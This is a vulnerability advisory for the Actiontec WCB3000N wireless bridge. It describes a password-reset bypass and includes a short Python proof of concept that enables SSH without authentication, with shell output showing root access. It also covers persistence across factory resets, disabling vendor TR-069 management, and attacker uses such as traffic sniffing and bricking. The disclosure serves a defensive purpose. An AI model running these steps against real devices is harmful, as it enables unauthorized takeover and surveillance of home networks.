[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Actiontec WCB3000N (Telus Branded) Local Unauthenticated Privilege Elevation and Password Reset

###  Device Details
Vendor: Actiontec (Telus Branded)
Model: WCB3000N
Affected Firmware: v0.16.2.5
Device Manual: http://static.telus.com/common/cms/files/internet/wifi_plus_extender.pdf
Reported: November 2015
Status: Fixed on newest pushed firmware version
CVE:  Update is handled by the vendor, therefore no CVE needed.

The Telus Actiontec WCB3000N is a access-point/bridge for MoCA,
Gigabit Ethernet, and both 802.11AGN 2.4GHz and 5GHz wireless
spectrums. It provides a web interface that allows control and
configuration of each of these technologies.

###   Summary of Findings
The Forgot Password webpage (http://<device_ip>/forgot_password.html)
asks for the device’s physical serial number before the admin password
can be reset. Any attacker on the same network as the device can pull
the device’s serial number from javascript without requiring physical
access to the device and can then reset the user password.
SSH can be enabled and used by an attacker without any authentication.
Files are stored, whether malicious or not, on the read-write
partition and remain untouched after factory resets.
Both of these attacks requires the attacker to be on the same local
network as the access-point.

### Forgot Password Bypass
There is a javascript function on the "forgot password page" called
getDeviceSerialNum(). It calls the “gotserialnum.cgi” executable and
places the device’s serial number in the device_serial_num variable on
each page load. This serial number variable can be viewed through the
browser's developer console by reading the device_serial_num variable.
Once the serial number is known, the password can be reset. The
attacker needs to be on the same network as the WCB3000N device.

### Enabling SSH and accessing root console
In the html on the Advanced Setup page, there are some references to a
few pages that aren’t displayed by the browser by default. By design,
when accessing the /adv_localssh.html page we get automatically
redirected the the /adv_manage.html page as seen in the javascript
code. However, if we block the javascript from carrying through the
redirect, we can see this page. Following the javascript and html
form, a /advlocalssh.cgi executable is POSTed with form data without
any authentication.

The proof of concept code in python is here:

import requests
ssh_data = {"command": "apply",
            "mypage": "adv_localssh.html",
            "custom_ssh_timeout": ""}
s = requests.session()
s.post("http://<device_ip>/advlocalssh.cgi", ssh_data)

## Before
[~]$ nmap -p ssh
22/tcp filtered ssh

[~]$ python2 wcb.py

## After
[~]$ nmap -p ssh
22/tcp open  ssh

[~]$ ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 admin@
admin@'s password:
RLX Linux version 2.0
         _           _  _
        | |         | ||_|
   _  _ | | _  _    | | _ ____  _   _  _  _
  | |/ || |\ \/ /   | || |  _ \| | | |\ \/ /
  | |_/ | |/    \   | || | | | | |_| |/    \
  |_|   |_|\_/\_/   |_||_|_| |_|\____|\_/\_/

For further information check:


### Other Discoveries
After gaining root access, other discoveries were made. Noticing the
/mnt/rt_conf directory being mounted read-write (which I assume is for
saving the config file state), I placed a dummy file in the directory
and then factory reset the device. The SSH access reverted back to
being disabled, but logging back into the device showed that the dummy
file still existed in /mnt/rt_conf.

OpenSSL is a very dated version (2006), and has 51 CVE vulnerabilities
listed https://www.cvedetails.com/vulnerability-list/vendor_id-217/product_id-383/version_id-26306/Openssl-Openssl-0.9.8.html.
  This could pose as a vulnerability when the device speaks over
TR-069 and pulls firmware updates.

# openssl version -a
OpenSSL 0.9.8b 04 May 2006
built on: Fri May 31 13:10:19 CST 2013
platform: rsdk-linux
options:  bn(32,32) md2(int) rc4(ptr,int) des(idx,cisc,4,long)
idea(int) blowfish(idx)
compiler: rsdk-linux-gcc -fPIC -DOPENSSL_PIC -DOPENSSL_THREADS
-fomit-frame-pointer -Wall
OPENSSLDIR: "/usr/local/ssl"

It’s possible to both kill the TR-069 remote device management service
and rewrite the config to disable. Once disabled, there’s no way that
the vendor would be able to communicate with the device to patch.

### Plausible Uses
An attacker could keep malware stored and have it survive both reboots
and factory resets.

Since there’s a full terminal present on the device along including
utilities such as tcpdump and scp, it would be trivial to to sniff
traffic and Man-in-the-Middle connections passing through the bridge.

DoSsing or bricking the device would likely be as simple as clearing
the failsafe configs, or writing over the boot and/or firmware
partitions. I can’t confirm this hypothesis since it would mean
killing a device I use.